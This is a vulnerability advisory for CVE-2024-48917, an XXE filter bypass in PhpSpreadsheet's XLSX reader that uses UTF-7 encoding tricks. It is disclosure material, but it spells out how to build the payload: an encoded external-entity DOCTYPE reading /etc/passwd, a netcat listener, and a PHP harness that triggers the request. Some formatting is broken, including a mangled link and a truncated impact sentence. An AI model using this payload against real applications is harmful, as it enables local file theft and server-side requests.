CVE-2024-48917: XXE in PHPSpreadsheet's XLSX reader

Summary

The XmlScanner class has a scan method which should prevent XXE attacks.

However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:

$patterns = [ '/encoding\\s=\\s"([^"]]?)"/', "/encoding\\s=\\s'([^']?)'/", ];

A payload for the workbook.xml file can for example be created with CyberChef')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.

To create the payload you need: 1. Create a file containing <?xml version = "1.0" encoding='UTF-7' in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add +ADw-+ACE---encoding="UTF-8"--+AD4- to the end of the XML file, which is matched by the first regex.

PoC

payload.xlsx

- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';

/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);

$worksheetData = $reader->listWorksheetInfo($inputFileName);

foreach ($worksheetData as $worksheet) {

$sheetName = $worksheet['worksheetName'];

echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);

$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());

} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>.

Impact

An attacker can bypass the sanitizer and achieve an XXE attackProcessing).